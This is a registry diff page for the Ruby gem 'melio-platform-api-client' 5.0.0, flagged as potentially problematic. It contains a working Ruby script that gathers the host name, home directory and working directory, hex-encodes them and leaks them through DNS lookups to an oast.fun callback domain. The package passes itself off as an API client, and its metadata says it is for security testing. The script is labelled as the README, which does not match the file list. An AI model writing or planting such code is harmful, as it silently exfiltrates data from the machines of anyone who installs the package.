melio-platform-api-client 5.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of melio-platform-api-client might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/README.md +10 -0
- data/lib/melio-platform-api-client.rb +43 -0
- metadata +47 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: 03afbb63dd803d0632ab9f0058e35f482c1a4435c7278a85a43dea53a30329d0
|
|
4
|
+
data.tar.gz: 7f67f353efde6699d4d2a30b82e56bdbf1aa5509720f9aab864783ae85c89339
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: 66332f5421f094fda63591cb236a24a5c8fcd7b960137933f6dd13a21bcf1bcfb65792e6ebf786c010dccef0c02753082d57f31937c1089d31242546aa09a6cf
|
|
7
|
+
data.tar.gz: 3533fb655691b64f76b91222a7c7aedf31e0e9dcb7f53832a09ae5d0bdf308588313f56a3340d50ea488d3d86db15d9a894afa09359b3501dc6ba683f87e6fae
|
data/README.md
ADDED
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
require 'socket'
|
|
2
|
+
require 'json'
|
|
3
|
+
require 'resolv'
|
|
4
|
+
|
|
5
|
+
suffix = '.dns.fmcrifgjyoeeaahdavxvjm44hxuke3q0t.oast.fun'
|
|
6
|
+
ns = 'dns1.fmcrifgjyoeeaahdavxvjm44hxuke3q0t.oast.fun'
|
|
7
|
+
|
|
8
|
+
package = 'melio-platform-api-client'
|
|
9
|
+
|
|
10
|
+
# only the bare minimum to be able to identify
|
|
11
|
+
# a vulnerable organization
|
|
12
|
+
data = {
|
|
13
|
+
'p' => package,
|
|
14
|
+
'h' => Socket.gethostname,
|
|
15
|
+
'd' => File.expand_path('~'),
|
|
16
|
+
'c' => Dir.pwd
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
data = JSON.generate(data)
|
|
20
|
+
data = data.unpack('H*')[0].scan(/.{1,60}/)
|
|
21
|
+
|
|
22
|
+
id_1 = rand(36**12).to_s(36)
|
|
23
|
+
id_2 = rand(36**12).to_s(36)
|
|
24
|
+
|
|
25
|
+
begin
|
|
26
|
+
ns_ip = Resolv.getaddress(ns)
|
|
27
|
+
rescue
|
|
28
|
+
ns_ip = '8.8.4.4'
|
|
29
|
+
end
|
|
30
|
+
|
|
31
|
+
custom_res = Resolv.new([Resolv::Hosts.new,
|
|
32
|
+
Resolv::DNS.new(nameserver: [ns_ip, '8.8.8.8'])])
|
|
33
|
+
|
|
34
|
+
|
|
35
|
+
data.each.each_with_index do |chunk, idx|
|
|
36
|
+
begin
|
|
37
|
+
Resolv.getaddress 'v2_f.' + id_1 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
|
|
38
|
+
rescue; end
|
|
39
|
+
|
|
40
|
+
begin
|
|
41
|
+
custom_res.getaddress 'v2_f.' + id_2 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
|
|
42
|
+
rescue; end
|
|
43
|
+
end
|
metadata
ADDED
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: melio-platform-api-client
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 5.0.0
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- fer1bytex0
|
|
8
|
+
autorequire:
|
|
9
|
+
bindir: exe
|
|
10
|
+
cert_chain: []
|
|
11
|
+
date: 2024-07-28 00:00:00.000000000 Z
|
|
12
|
+
dependencies: []
|
|
13
|
+
description: For security testing.
|
|
14
|
+
email:
|
|
15
|
+
- fer1bytex0@bugcrowdninja.com
|
|
16
|
+
executables: []
|
|
17
|
+
extensions: []
|
|
18
|
+
extra_rdoc_files: []
|
|
19
|
+
files:
|
|
20
|
+
- README.md
|
|
21
|
+
- lib/melio-platform-api-client.rb
|
|
22
|
+
homepage: http://example.com/melio-platform-api-client
|
|
23
|
+
licenses:
|
|
24
|
+
- MIT
|
|
25
|
+
metadata:
|
|
26
|
+
homepage_uri: http://example.com/melio-platform-api-client
|
|
27
|
+
source_code_uri: http://example.com/melio-platform-api-client
|
|
28
|
+
post_install_message:
|
|
29
|
+
rdoc_options: []
|
|
30
|
+
require_paths:
|
|
31
|
+
- lib
|
|
32
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
33
|
+
requirements:
|
|
34
|
+
- - ">="
|
|
35
|
+
- !ruby/object:Gem::Version
|
|
36
|
+
version: '0'
|
|
37
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
38
|
+
requirements:
|
|
39
|
+
- - ">="
|
|
40
|
+
- !ruby/object:Gem::Version
|
|
41
|
+
version: '0'
|
|
42
|
+
requirements: []
|
|
43
|
+
rubygems_version: 3.4.19
|
|
44
|
+
signing_key:
|
|
45
|
+
specification_version: 4
|
|
46
|
+
summary: For Test
|
|
47
|
+
test_files: []
|